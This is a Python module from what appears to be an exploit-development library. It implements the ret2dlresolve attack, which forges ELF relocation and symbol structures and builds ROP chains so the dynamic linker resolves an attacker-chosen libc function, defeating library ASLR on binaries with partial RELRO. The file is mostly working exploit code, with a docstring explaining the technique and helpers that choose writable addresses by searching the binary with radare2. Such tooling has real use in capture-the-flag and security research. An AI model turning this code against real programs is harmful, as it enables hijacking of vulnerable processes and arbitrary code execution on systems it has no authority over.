""" Perform "Return to dlresolve" dynamic linker attack The ret2dlresolve technique is useful to defeat library ASLR against targets with partial relro (or less) and where no useable data leaks are available. This is specifically a workaround for ASLR of libraries such as libc, and addresses within the target executable are expected to be known (non-pic or otherwise). When a dynamic library call is performed normally, applications jump to code stubs in the .plt section to perform the actual relocation. This process relies on a couple of meta-data structures in the ELF object: Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to cache the real subroutine address for later calls, as well as an info field describing the relocation. This info field contains a type subfield and an index into the ELF's symbol table for the symbol to be relocated. Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the exploit, only the symbol name field is utilized (the others are set to zeroes). The name field is an offset into the ELF's string table, and the actual symbol name string can be found at this offset. All of the data tables mentioned above are located by their corresponding section in the ELF. The relocation process however does not perform any bounds checks to ensure the runtime data structures actually come from these sections. By forging custom structures, and ensuring they can be written into memory at precise locations, an attacker can trick the resolver to link any library function they desire by setting up the equivalent PLT function call via ROP. Read on for more background details: http://phrack.org/issues/58/4.html https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 Structure definitions from your standard elf.h header: typedef struct { Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ Elf32_Addr st_value; /* 4b Symbol value */ Elf32_Word st_size; /* 4b Symbol size */ unsigned char st_info; /* 1b Symbol type and binding */ unsigned char st_other; /* 1b Symbol visibility */ Elf32_Section st_shndx; /* 2b Section index */ } Elf32_Sym; typedef struct { Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ unsigned char st_info; /* 1b Symbol type and binding */ unsigned char st_other; /* 1b Symbol visibility */ Elf64_Section st_shndx; /* 2b Section index */ Elf64_Addr st_value; /* 8b Symbol value */ Elf64_Xword st_size; /* 8b Symbol size */ } Elf64_Sym; typedef struct { Elf32_Addr r_offset; /* 4b Address */ Elf32_Word r_info; /* 4b Relocation type and symbol index */ } Elf32_Rel; typedef struct { Elf64_Addr r_offset; /* 8b Address */ Elf64_Xword r_info; /* 8b Relocation type and symbol index */ } Elf64_Rel; Elf32_Rel.r_info = 0xAAAAAABB | | | type symidx Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB | | symidx type """ from sploit.arch import arch, itob from sploit.payload.gadhint import GadHint from sploit.payload.payload import Payload from sploit.payload.payload_entry import padalign, padlen, pointer from sploit.payload.rop import ROP from sploit.rev.r2 import run_cmd _JMP_SLOT = 0x07 def _symsize(): # Size of Elf*_Sym, used for padding and indexing if arch.wordsize == 4: return 16 elif arch.wordsize == 8: return 24 raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") def _relsize(): # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) if arch.wordsize == 4: return 1 elif arch.wordsize == 8: return 24 raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") def _infoshift(): # Partition subfields of Elf*_Rel.r_info if arch.wordsize == 4: return 8 elif arch.wordsize == 8: return 32 raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") class Ret2dlresolve(ROP): # Use constructor from ROP class def reloc(self, symbol_name): """ Generate relocation structures for the function with given symbol name. The returned data structures are packed into a single Payload object. This payload must be written into the target's memory before attempting to use it with Ret2dlresolve.call(). Furthermore, the chosen write location must be assigned to the payload base property, so that internal pointers may take on the appropriate values. See Ret2dlresolve.determine_address() for advice on choosing a write location. symbol_name (str): Name of library function to link """ binary = self.objects[0] symtab = binary.sym.sect['.dynsym'] strtab = binary.sym.sect['.dynstr'] try: jmprel = binary.sym.sect['.rel.plt'] except KeyError: jmprel = binary.sym.sect['.rela.plt'] # Elf*_Rel.r_info info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT # The sym structure is the most picky about its location in memory. So # it is listed first in the main dlres struct, which can be placed at # the desired location. sym = Payload() sym.name = pointer("symbol_string", lambda x: x - strtab) sym.pad = padlen(_symsize(), b"\x00") sym.symbol_string = symbol_name dlres = Payload() dlres.symalign = padalign(_symsize(), reference=symtab) dlres.sym = sym dlres.relalign = padalign(_relsize(), reference=jmprel) dlres.offset = pointer() dlres.info = pointer("sym", info) return dlres def determine_address(self, start=None, end=None, n=0): """ Determine recommended address for relocation structures. There are a couple considerations to make when determining the memory locations. First of all, the location must be writable. More importantly, since most items are referred to by an array index, the structures themselves must be properly aligned, reference to the array origins. The payload returned from Ret2dlresolve.reloc() has some of these alignments built in, but one crucial one is not. The index implied by Elf*_Sym's offset from the symtab base is the same index used to lookup symbol version information, reference to versym. The data at this index must constitute a valid version half-word (16-bits). This function attempts to ensure that the coincident version info for any returned value is the data \x00\x00. Getting this wrong can cause the dlresolve routine to crash. start (int): Minimum address to recommend (default: .bss section address) end (int): Maximum address to recommend (default: end of memory page) n (int): Return the Nth useable address within the defined range """ binary = self.objects[0] symtab = binary.sym.sect['.dynsym'] versym = binary.sym.sect['.gnu.version'] bss = binary.sym.sect['.bss'] if start is None: start = bss if end is None: end = (start & ~0xfff) + 0x1000 zero_words = run_cmd(binary.path, "/x 0000") zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] # Size of version entry is always 2 bytes. veroff = [ x - versym for x in zero_words ] idx = [ x//2 for x in veroff if x%2 == 0 ] symoff = [ x * _symsize() for x in idx ] addr = [ x + symtab for x in symoff ] addr = [ x for x in addr if start <= x < end ] if len(addr) > n: return addr[n] raise AssertionError("Ret2dlresolve: No suitable memory location") # Overrides ROP.call() def call(self, reloc, *params): """ Return a ROP payload to call function via dynamic linker. reloc's base address must be set appropriately. reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() *params (int): Remaining positional args are passed to function. """ binary = self.objects[0] plt = binary.sym.sect['.plt'] try: jmprel = binary.sym.sect['.rel.plt'] except KeyError: jmprel = binary.sym.sect['.rela.plt'] register_params = dict(zip(arch.funcargs, params)) stack_params = params[len(register_params):] index = int(reloc.offset - jmprel) // _relsize() reqs = GadHint(requirements=register_params) call = GadHint(index, stack=stack_params) ret = GadHint(self.search_gadget(arch.ret)) chain = Payload() try: chain.requirements = self.gadget(reqs).requirements except KeyError: pass chain.alignment = padalign(0, itob(ret)) chain.plt = plt chain.call = self.gadget(call) return chain